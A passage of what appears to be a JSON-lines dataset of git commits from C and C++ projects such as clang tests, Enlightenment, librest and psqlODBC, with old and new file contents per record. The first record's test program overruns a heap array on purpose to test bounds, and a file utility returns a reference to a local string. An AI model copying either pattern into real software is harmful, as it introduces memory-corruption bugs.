*text;\n\nint main(void)\n{\n int leng = 10; \n text = malloc(leng*sizeof(slot)); \n\n int textmax = (int) (text + leng - 1);\n int textmin = (int) (text + 0);\n\n line.row = NULL;\n line.size = 0;\n\n int iy; for(iy = 0; iy < leng+1; iy++)     \/\/deliberate iy overrun\n   {\n     printf(\"%d  text = %p\\n\",iy,text+iy);\n     int texndx; textbound; \n     text[iy] = line;\n   } \n\n printf(\"test run ending\\n\");\n return 0;\n}\n","subject":"Add definition for testing bounds on array text","message":"Add definition for testing bounds on array text\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
{"commit":"ac21a316a0e0179d2d2b52d81d417430a82992ca","old_file":"dependencies\/stdafx\/stdafx.h","new_file":"dependencies\/stdafx\/stdafx.h","old_contents":"#include <Ogre.h>\n#include <OgreMeshFileFormat.h>\n#include <OgreOptimisedUtil.h>\n#include <OgrePredefinedControllers.h>\n\n#ifdef WIN32\n#include <OgreD3D9RenderSystem.h>\n#include <OgreD3D9HLSLProgram.h>\n#endif\n\n#include <OgreOctreePlugin.h>\n#include <OgreOctreeSceneManager.h>\n\n#include <OgreCgPlugin.h>\n#include <OgreCgProgram.h>\n\n","new_contents":"#include <Ogre.h>\n#include <OgreDepthBuffer.h>\n#include <OgreMeshFileFormat.h>\n#include <OgreOptimisedUtil.h>\n#include <OgrePredefinedControllers.h>\n\n#ifdef WIN32\n#include <OgreD3D9RenderSystem.h>\n#include <OgreD3D9HLSLProgram.h>\n#endif\n\n#include <OgreOctreePlugin.h>\n#include <OgreOctreeSceneManager.h>\n\n#include <OgreCgPlugin.h>\n#include <OgreCgProgram.h>\n\n","subject":"Add Depthbuffer to precompiled header","message":"Add Depthbuffer to precompiled header\n","lang":"C","license":"mit","repos":"grit-engine\/grit-engine,sparkprime\/grit-engine,sparkprime\/grit-engine,sparkprime\/grit-engine,grit-engine\/grit-engine,grit-engine\/grit-engine,sparkprime\/grit-engine,grit-engine\/grit-engine"}
{"commit":"cd15a3b8e5975c8ddc5928022fce4696adce5e8c","old_file":"Pods\/Expecta\/src\/matchers\/EXPMatchers+equal.h","new_file":"Pods\/Expecta\/src\/matchers\/EXPMatchers+equal.h","old_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(_equal, (id expected));\nEXPMatcherInterface(equal, (id expected)); \/\/ to aid code completion\n#define equal(expected) _equal(EXPObjectify((expected)))\n","new_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(_equal, (id expected));\nEXPMatcherInterface(equal, (id expected)); \/\/ to aid code completion\n#define equal(...) _equal(EXPObjectify((__VA_ARGS__)))\n","subject":"Change expecta equal() to accept any amount of argument","message":"Change expecta equal() to accept any amount of argument\n\nThis helps with array literals\n","lang":"C","license":"mit","repos":"frenetisch-applaudierend\/mocka,frenetisch-applaudierend\/mocka"}
{"commit":"6a8cbb53dad28508f0fbb893ce37defbbec11a49","old_file":"src\/bin\/e_log.c","new_file":"src\/bin\/e_log.c","old_contents":"#include \"e.h\"\n\nEINTERN int e_log_dom = -1;\n\nEINTERN int\ne_log_init(void)\n{\n   e_log_dom = eina_log_domain_register(\"e\", EINA_COLOR_WHITE);\n   return e_log_dom != -1;\n}\n\nEINTERN int\ne_log_shutdown(void)\n{\n   eina_log_domain_unregister(e_log_dom);\n   e_log_dom = -1;\n   return 0;\n}\n\n","new_contents":"#include \"e.h\"\n\nEINTERN int e_log_dom = -1;\n\nstatic const char *_names[] = {\n   \"CRI\",\n   \"ERR\",\n   \"WRN\",\n   \"INF\",\n   \"DBG\",\n};\n\nstatic void\n_e_log_cb(const Eina_Log_Domain *d, Eina_Log_Level level, const char *file, const char *fnc EINA_UNUSED, int line, const char *fmt, void *data EINA_UNUSED, va_list args)\n{\n   const char *color;\n\n   color = eina_log_level_color_get(level);\n   fprintf(stdout,\n           \"%s%s<\" EINA_COLOR_RESET \"%s%s>\" EINA_COLOR_RESET \"%s:%d\" EINA_COLOR_RESET \" \",\n           color, _names[level > EINA_LOG_LEVEL_DBG ? EINA_LOG_LEVEL_DBG : level],\n           d->domain_str, color, file, line);\n   vfprintf(stdout, fmt, args);\n   putc('\\n', stdout);\n}\n\nEINTERN int\ne_log_init(void)\n{\n   e_log_dom = eina_log_domain_register(\"e\", EINA_COLOR_WHITE);\n   eina_log_print_cb_set(_e_log_cb, NULL);\n   return e_log_dom != -1;\n}\n\nEINTERN int\ne_log_shutdown(void)\n{\n   eina_log_domain_unregister(e_log_dom);\n   e_log_dom = -1;\n   return 0;\n}\n\n","subject":"Revert \"e logs - the custom e log func breaks eina backtraces, so don't use it\"","message":"Revert \"e logs - the custom e log func breaks eina backtraces, so don't use it\"\n\nThis reverts commit 2df04042269f3b5604c719844eac372fa5fcddd2.\n\nlet's not do this in all cases\n","lang":"C","license":"bsd-2-clause","repos":"tasn\/enlightenment,rvandegrift\/e,rvandegrift\/e,rvandegrift\/e,tasn\/enlightenment,tasn\/enlightenment"}
{"commit":"ae0b6ad71ed495ac6fba25c8b8feb25828e756a0","old_file":"rest\/rest-main.c","new_file":"rest\/rest-main.c","old_contents":"#include \"rest-private.h\"\n\nguint rest_debug_flags = 0;\n\n\/*\n * \"Private\" function used to set debugging flags based on environment\n * variables. Called upon entry into all public functions.\n *\/\nvoid\n_rest_setup_debugging (void)\n{\n  const gchar *tmp;\n  gchar **parts;\n  gint i = 0;\n  static gboolean setup_done = FALSE;\n\n  if (setup_done)\n    return;\n\n  tmp = g_getenv (\"REST_DEBUG\");\n\n  if (tmp)\n  {\n    parts = g_strsplit (tmp, \",\", -1);\n\n    for (i = 0; parts[i] != NULL; i++)\n    {\n      if (g_str_equal (tmp, \"xml-parser\"))\n      {\n        rest_debug_flags |= REST_DEBUG_XML_PARSER;\n      } else if (g_str_equal (tmp, \"proxy\")) {\n        rest_debug_flags |= REST_DEBUG_PROXY;\n      } else if (g_str_equal (tmp, \"all\")) {\n        rest_debug_flags |= REST_DEBUG_ALL;\n      }\n    }\n\n    g_strfreev (parts);\n  }\n\n  setup_done = TRUE;\n}\n","new_contents":"#include \"rest-private.h\"\n\nguint rest_debug_flags = 0;\n\n\/*\n * \"Private\" function used to set debugging flags based on environment\n * variables. Called upon entry into all public functions.\n *\/\nvoid\n_rest_setup_debugging (void)\n{\n  static gboolean setup_done = FALSE;\n  static const GDebugKey keys[] = {\n    { \"xml-parser\", REST_DEBUG_XML_PARSER },\n    { \"proxy\", REST_DEBUG_PROXY }\n  };\n\n  if (G_LIKELY (setup_done))\n    return;\n\n  rest_debug_flags = g_parse_debug_string (g_getenv (\"REST_DEBUG\"),\n                                           keys, G_N_ELEMENTS (keys));\n  \n  setup_done = TRUE;\n}\n","subject":"Use g_parse_debug_string instead of manually parsing","message":"Use g_parse_debug_string instead of manually parsing\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/librest,Distrotech\/librest,ThomasBollmeier\/librest-oauth-proxy,GNOME\/librest,Distrotech\/librest,GNOME\/librest,ThomasBollmeier\/librest-oauth-proxy"}
{"commit":"4026b3ed5ed0c6af1312ac58a2ec578637d9175a","old_file":"test\/Driver\/mno-global-merge.c","new_file":"test\/Driver\/mno-global-merge.c","old_contents":"\/\/ RUN: %clang -target armv7-apple-darwin10 \\\n\/\/ RUN:   -mno-global-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-NGM < %t %s\n\n\/\/ RUN: %clang -target arm64-apple-ios7 \\\n\/\/ RUN:   -mno-global-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-NGM < %t %s\n\n\/\/ CHECK-NGM: \"-mno-global-merge\"\n\n\/\/ RUN: %clang -target armv7-apple-darwin10 \\\n\/\/ RUN:   -mglobal-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-GM < %t %s\n\n\/\/ RUN: %clang -target arm64-apple-ios7 \\\n\/\/ RUN:   -mglobal-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-GM < %t %s\n\n\/\/ CHECK-GM-NOT: \"-mglobal-merge\"\n\n\/\/ RUN: %clang -target armv7-apple-darwin10 \\\n\/\/ RUN:   -mno-global-merge -c %s\n\n\/\/ RUN: %clang -target armv7-apple-darwin10 \\\n\/\/ RUN:   -mglobal-merge -c %s\n","new_contents":"\/\/ RUN: %clang -target armv7-apple-darwin10 \\\n\/\/ RUN:   -mno-global-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-NGM < %t %s\n\n\/\/ RUN: %clang -target arm64-apple-ios7 \\\n\/\/ RUN:   -mno-global-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-NGM < %t %s\n\n\/\/ CHECK-NGM: \"-mno-global-merge\"\n\n\/\/ RUN: %clang -target armv7-apple-darwin10 \\\n\/\/ RUN:   -mglobal-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-GM < %t %s\n\n\/\/ RUN: %clang -target arm64-apple-ios7 \\\n\/\/ RUN:   -mglobal-merge -### -fsyntax-only %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-GM < %t %s\n\n\/\/ CHECK-GM-NOT: \"-mglobal-merge\"\n\n","subject":"Revert new test from 213993.","message":"Revert new test from 213993.\n\nIt requires an arm backend and also writes output in the test directory.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@213998 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"b427c3a85360d7e1113b4157f1cb745b789863b0","old_file":"test\/wasm\/soft\/float\/fixtfdi.c","new_file":"test\/wasm\/soft\/float\/fixtfdi.c","old_contents":"","new_contents":"#include \"src\/math\/reinterpret.h\"\n#include <math.h>\n#include <stdint.h>\n#include <assert.h>\n\nint64_t __fixtfdi(long double);\n\nint main(void)\n{\n    const __int128 delta = (__int128)0x17E93193 << 64 | 0xC0605887B0E6B634;\n\n    assert(__fixtfdi(INT64_MIN - 0.7L) == INT64_MIN);\n\n    for (__int128 i = reinterpret(__int128, 0.9L); i < reinterpret(__int128, 0x1p63L); i += delta) {\n        long double x = reinterpret(long double, i);\n        long double y = truncl(x);\n        assert(__fixtfdi(x) == y);\n        assert(__fixtfdi(-x) == -y);\n    }\n}\n","subject":"Test long douoble -> int64_t","message":"Test long douoble -> int64_t\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"009aeab78a78eb666321eea22fb515f718142165","old_file":"Sub-Terra\/include\/World.h","new_file":"Sub-Terra\/include\/World.h","old_contents":"#pragma once\n\n#include <boost\/unordered_map.hpp>\n#include \"System.h\"\n#include \"OpenSimplexNoise.h\"\n\nenum class ChunkStatus {\n\tGenerating,\n\tAlive,\n\tDying,\n\tDead\n};\n\ntypedef std::tuple<int64_t, int64_t, int64_t> ChunkKeyType;\ntypedef std::tuple<ChunkStatus, IDType> ChunkContainerType;\ntypedef boost::unordered_map<ChunkKeyType, ChunkContainerType> ChunksType;\n\nclass World : public System {\nprivate:\n\tconst uint8_t viewDistance = 5;\n\tconst Point3 blockSize = Point3(1.0f);\n\tconst glm::ivec3 chunkSize;\n\tOpenSimplexNoise noise = OpenSimplexNoise(std::random_device()());\n\tAtomic<ChunksType> chunks;\nprotected:\n\tvoid Init() override final;\n\tvoid Update(DeltaTicks &) override final;\npublic:\n\tstatic bool IsSupported() { return true; }\n\tWorld(Polar *engine, const unsigned char chunkWidth, const unsigned char chunkHeight, const unsigned char chunkDepth)\n\t\t: System(engine), chunkSize(chunkWidth, chunkHeight, chunkDepth) {}\n\t~World();\n\tstd::vector<bool> GenerateChunk(const Point3 &&) const;\n\tbool GenerateBlock(const Point3 &&) const;\n};\n","new_contents":"#pragma once\n\n#include <boost\/unordered_map.hpp>\n#include \"System.h\"\n#include \"OpenSimplexNoise.h\"\n\nenum class ChunkStatus {\n\tGenerating,\n\tAlive,\n\tDying,\n\tDead\n};\n\ntypedef std::tuple<int64_t, int64_t, int64_t> ChunkKeyType;\ntypedef std::tuple<ChunkStatus, IDType> ChunkContainerType;\ntypedef boost::unordered_map<ChunkKeyType, ChunkContainerType> ChunksType;\n\nclass World : public System {\nprivate:\n\tconst uint8_t viewDistance = 3;\n\tconst Point3 blockSize = Point3(1.0f);\n\tconst glm::ivec3 chunkSize;\n\tOpenSimplexNoise noise = OpenSimplexNoise(std::random_device()());\n\tAtomic<ChunksType> chunks;\nprotected:\n\tvoid Init() override final;\n\tvoid Update(DeltaTicks &) override final;\npublic:\n\tstatic bool IsSupported() { return true; }\n\tWorld(Polar *engine, const unsigned char chunkWidth, const unsigned char chunkHeight, const unsigned char chunkDepth)\n\t\t: System(engine), chunkSize(chunkWidth, chunkHeight, chunkDepth) {}\n\t~World();\n\tstd::vector<bool> GenerateChunk(const Point3 &&) const;\n\tbool GenerateBlock(const Point3 &&) const;\n};\n","subject":"Change world view distance to 3","message":"Change world view distance to 3\n","lang":"C","license":"mpl-2.0","repos":"shockkolate\/polar4,shockkolate\/polar4,shockkolate\/polar4,polar-engine\/polar,shockkolate\/polar4,polar-engine\/polar"}
{"commit":"ef8b28e9459e729b7bd8c826d204621b039611fa","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nstruct s {};\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n}\n","subject":"Add test case for array and struct variable lvalue evaluation.","message":"Add test case for array and struct variable lvalue evaluation.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@57670 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"3e6e67f631568af99a38f327c9d1a3da6cb1b9da","old_file":"test\/CodeGen\/mmintrin-test.c","new_file":"test\/CodeGen\/mmintrin-test.c","old_contents":"","new_contents":"\/\/ RUN: clang -triple i386-apple-darwin9 -emit-llvm -o %t %s && \n\/\/ RUN: grep define %t | count 1 &&\n\/\/ RUN: clang -triple i386-apple-darwin9 -g -emit-llvm -o %t %s && \n\/\/ RUN: grep define %t | count 1\n\n#include <mmintrin.h>\n#include <stdlib.h>\n\nint main(int argc, char *argv[]) {\n  int array[16] = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 };\n  __m64 *p = (__m64 *)array;\n  \n  __m64 accum = _mm_setzero_si64();\n  \n  for (int i=0; i<8; ++i)\n    accum = _mm_add_pi32(p[i], accum);\n  \n  __m64 accum2 = _mm_unpackhi_pi32(accum, accum);\n  accum = _mm_add_pi32(accum, accum2);\n  \n  int result = _mm_cvtsi64_si32(accum);\n  _mm_empty();\n  printf(\"%d\\n\", result );\n  \n  return 0;\n}\n","subject":"Add test case for using mmintrin (and making sure that inlining is working with and without debug info).","message":"Add test case for using mmintrin (and making sure that inlining is\nworking with and without debug info).\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@60960 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"e66fb4cb5e5c3ed80e5e874cc06c110482a57ab3","old_file":"ionCore\/ionStandardLibrary.h","new_file":"ionCore\/ionStandardLibrary.h","old_contents":"\r\n#pragma once\r\n\r\n#include \"ionTypes.h\"\r\n\r\n#include <algorithm>\r\n#include <numeric>\r\n#include <iomanip>\r\n#include <iostream>\r\n#include <fstream>\r\n#include <sstream>\r\n\r\nusing std::move;\r\nusing std::ifstream;\r\n\r\ntemplate <typename T, typename U>\r\nU * ConditionalMapAccess(map<T, U *> & Map, T const Key)\r\n{\r\n\tauto Iterator = Map.find(Key);\r\n\r\n\tif (Iterator != Map.end())\r\n\t\treturn Iterator->second;\r\n\r\n\treturn 0;\r\n}\r\n","new_contents":"\r\n#pragma once\r\n\r\n#include \"ionTypes.h\"\r\n\r\n#include <algorithm>\r\n#include <numeric>\r\n#include <iomanip>\r\n#include <iostream>\r\n#include <fstream>\r\n#include <sstream>\r\n\r\nusing std::move;\r\nusing std::ifstream;\r\n\r\ntemplate <typename T, typename U>\r\nU * ConditionalMapAccess(map<T, U *> & Map, T const Key)\r\n{\r\n\tauto Iterator = Map.find(Key);\r\n\r\n\tif (Iterator != Map.end())\r\n\t\treturn Iterator->second;\r\n\r\n\treturn 0;\r\n}\r\n\r\nclass File\r\n{\r\n\r\npublic:\r\n\t\r\n\tstatic bool Exists(string const & FileName)\r\n\t{\r\n\t  ifstream ifile(FileName);\r\n\t  return ifile.good();\r\n\t}\r\n\r\n\tstatic string && ReadAsString(string const & FileName)\r\n\t{\r\n\t\tstd::ifstream t(FileName);\r\n\t\tstd::string str;\r\n\r\n\t\tt.seekg(0, std::ios::end);   \r\n\t\tstr.reserve((uint) t.tellg());\r\n\t\tt.seekg(0, std::ios::beg);\r\n\r\n\t\tstr.assign((std::istreambuf_iterator<char>(t)), std::istreambuf_iterator<char>());\r\n\r\n\t\treturn move(str);\r\n\t}\r\n};\r\n","subject":"Add some file utility functions","message":"Add some file utility functions\n\n--HG--\nbranch : SceneOverhaul\n","lang":"C","license":"mit","repos":"iondune\/ionEngine,iondune\/ionEngine"}
{"commit":"ad74ebb3ae7f3dee129f0ccce11100e3fcef1d4c","old_file":"bin\/check_it.c","new_file":"bin\/check_it.c","old_contents":"#include <stdio.h>  \n#include <unistd.h>  \n#include <stdlib.h>\n#include <pwd.h>\n\nint main(int argc, char** argv) {\n    struct passwd *passwd = getpwuid(getuid());\n    int errno = setreuid(geteuid(), geteuid());\n\n\/\/    errno = execle(\"\/usr\/bin\/id\", (char *) 0, envp);\n\n    if (errno == 0 && passwd != 0) {\n       \/\/ CHECKIT_USER will contain the name of the user that invoked us.\n       char user_evar[100];\n       snprintf(user_evar, 80, \"CHECKIT_USER=%s\", passwd->pw_name);\n\n       \/\/ Use a nice clean PATH.\n       char * envp[] = { \"PATH=\/bin:\/usr\/bin\", user_evar, (char *) 0 };\n\n       \/\/ Do it!\n       errno = execve(\"\/home2\/ling572_00\/Projects\/CheckIt\/bin\/check_it.groovy\", argv, envp);\n    }\n\n    printf(\"An error occured %d\\n\", errno);  \n\n    return errno;  \n}  \n","new_contents":"#include <stdio.h>  \n#include <unistd.h>  \n#include <stdlib.h>\n#include <pwd.h>\n\nint main(int argc, char** argv) {\n    struct passwd *passwd = getpwuid(getuid());\n    int errno = setreuid(geteuid(), geteuid());\n\n\/\/    errno = execle(\"\/usr\/bin\/id\", (char *) 0, envp);\n\n    if (errno == 0 && passwd != 0) {\n       \/\/ CHECKIT_USER will contain the name of the user that invoked us.\n       char user_evar[100];\n       snprintf(user_evar, 80, \"CHECKIT_USER=%s\", passwd->pw_name);\n\n       \/\/ Use a nice clean PATH.\n       char * envp[] = { \n            \"PATH=\/bin:\/usr\/bin\"\n            , \"HOME=\/home2\/ling572_00\"\n            , \"JAVA_HOME=\/usr\/java\/latest\"\n            , \"JAVA_OPTS=-Xmx300m -Xms140m\"\n            , user_evar\n            , (char *) 0 };\n\n       \/\/ Do it!\n       errno = execve(\"\/home2\/ling572_00\/Projects\/CheckIt\/bin\/check_it.groovy\", argv, envp);\n    }\n\n    printf(\"An error occured %d\\n\", errno);  \n\n    return errno;  \n}  \n","subject":"Reduce Java VM max heap space.","message":"Reduce Java VM max heap space.\n","lang":"C","license":"agpl-3.0","repos":"jimwhite\/CheckIt,jimwhite\/CheckIt,jimwhite\/CheckIt,jimwhite\/CheckIt"}
{"commit":"1edbd62cac51376384ca2786be85fbbe0cbe7dbb","old_file":"src\/interfaces\/odbc\/md5.h","new_file":"src\/interfaces\/odbc\/md5.h","old_contents":"\/* File:\t\t\tconnection.h\r\n *\r\n * Description:\t\tSee \"connection.c\"\r\n *\r\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\r\n *\r\n *\/\r\n\r\n#ifndef __MD5_H__\r\n#define __MD5_H__\r\n\r\n#include \"psqlodbc.h\"\r\n\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\r\n\r\n\/* From c.h *\/\r\n#ifndef __BEOS__\r\n\r\n#ifndef __cplusplus\r\n\r\n#ifndef bool\r\ntypedef char bool;\r\n#endif\r\n\r\n#ifndef true\r\n#define true\t((bool) 1)\r\n#endif\r\n\r\n#ifndef false\r\n#define false\t((bool) 0)\r\n#endif\r\n#endif   \/* not C++ *\/\r\n#endif   \/* __BEOS__ *\/\r\n\r\n#ifndef __BEOS__\t\t\t\t\/* this shouldn't be required, but is is! *\/\r\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\r\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\r\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\r\n#endif   \/* __BEOS__ *\/\r\n\r\nextern bool EncryptMD5(const char *passwd, const char *salt,\r\n\t\t   size_t salt_len, char *buf);\r\n\r\n\r\n#endif\r\n","new_contents":"\/* File:\t\t\tconnection.h\n *\n * Description:\t\tSee \"md.h\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n#ifndef __BEOS__\t\t\t\t\/* this shouldn't be required, but is is! *\/\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n#endif   \/* __BEOS__ *\/\n\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","subject":"Fix comment at top of file to match file name.","message":"Fix comment at top of file to match file name.\n","lang":"C","license":"apache-2.0","repos":"lisakowen\/gpdb,janebeckman\/gpdb,xuegang\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,snaga\/postgres-xl,techdragon\/Postgres-XL,arcivanov\/postgres-xl,tangp3\/gpdb,greenplum-db\/gpdb,rubikloud\/gpdb,oberstet\/postgres-xl,ahachete\/gpdb,Quikling\/gpdb,Postgres-XL\/Postgres-XL,tangp3\/gpdb,greenplum-db\/gpdb,kaknikhil\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,postmind-net\/postgres-xl,ashwinstar\/gpdb,rubikloud\/gpdb,tangp3\/gpdb,yuanzhao\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,CraigHarris\/gpdb,oberstet\/postgres-xl,adam8157\/gpdb,tpostgres-projects\/tPostgres,50wu\/gpdb,CraigHarris\/gpdb,tangp3\/gpdb,ovr\/postgres-xl,postmind-net\/postgres-xl,ahachete\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,kaknikhil\/gpdb,yazun\/postgres-xl,foyzur\/gpdb,rvs\/gpdb,ahachete\/gpdb,ovr\/postgres-xl,lintzc\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,snaga\/postgres-xl,lintzc\/gpdb,ashwinstar\/gpdb,chrishajas\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,edespino\/gpdb,0x0FFF\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,Postgres-XL\/Postgres-XL,kaknikhil\/gpdb,yuanzhao\/gpdb,yazun\/postgres-xl,oberstet\/postgres-xl,rvs\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,tangp3\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,chrishajas\/gpdb,ovr\/postgres-xl,randomtask1155\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,rubikloud\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,atris\/gpdb,yazun\/postgres-xl,zeroae\/postgres-xl,zeroae\/postgres-xl,50wu\/gpdb,0x0FFF\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,randomtask1155\/gpdb,cjcjameson\/gpdb,royc1\/gpdb,Postgres-XL\/Postgres-XL,royc1\/gpdb,janebeckman\/gpdb,royc1\/gpdb,foyzur\/gpdb,foyzur\/gpdb,zeroae\/postgres-xl,yuanzhao\/gpdb,techdragon\/Postgres-XL,arcivanov\/postgres-xl,xinzweb\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,greenplum-db\/gpdb,Chibin\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,zaksoup\/gpdb,xuegang\/gpdb,kmjungersen\/PostgresXL,randomtask1155\/gpdb,randomtask1155\/gpdb,Quikling\/gpdb,zaksoup\/gpdb,50wu\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,ahachete\/gpdb,50wu\/gpdb,xuegang\/gpdb,Chibin\/gpdb,lpetrov-pivotal\/gpdb,tpostgres-projects\/tPostgres,kaknikhil\/gpdb,greenplum-db\/gpdb,postmind-net\/postgres-xl,edespino\/gpdb,snaga\/postgres-xl,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,lisakowen\/gpdb,arcivanov\/postgres-xl,adam8157\/gpdb,kmjungersen\/PostgresXL,zeroae\/postgres-xl,50wu\/gpdb,kmjungersen\/PostgresXL,cjcjameson\/gpdb,jmcatamney\/gpdb,kaknikhil\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,royc1\/gpdb,lpetrov-pivotal\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,pavanvd\/postgres-xl,janebeckman\/gpdb,Chibin\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,oberstet\/postgres-xl,atris\/gpdb,atris\/gpdb,jmcatamney\/gpdb,Quikling\/gpdb,Quikling\/gpdb,edespino\/gpdb,0x0FFF\/gpdb,lintzc\/gpdb,greenplum-db\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,CraigHarris\/gpdb,arcivanov\/postgres-xl,ahachete\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,rvs\/gpdb,zeroae\/postgres-xl,foyzur\/gpdb,Chibin\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,postmind-net\/postgres-xl,foyzur\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,ovr\/postgres-xl,edespino\/gpdb,royc1\/gpdb,randomtask1155\/gpdb,edespino\/gpdb,lintzc\/gpdb,foyzur\/gpdb,tpostgres-projects\/tPostgres,kmjungersen\/PostgresXL,Chibin\/gpdb,xuegang\/gpdb,Chibin\/gpdb,lpetrov-pivotal\/gpdb,randomtask1155\/gpdb,yuanzhao\/gpdb,rvs\/gpdb,edespino\/gpdb,Chibin\/gpdb,xuegang\/gpdb,rvs\/gpdb,tangp3\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,Quikling\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,ovr\/postgres-xl,janebeckman\/gpdb,snaga\/postgres-xl,pavanvd\/postgres-xl,pavanvd\/postgres-xl,CraigHarris\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,lisakowen\/gpdb,lintzc\/gpdb,chrishajas\/gpdb,chrishajas\/gpdb,0x0FFF\/gpdb,kaknikhil\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,CraigHarris\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,zaksoup\/gpdb,postmind-net\/postgres-xl,yazun\/postgres-xl,0x0FFF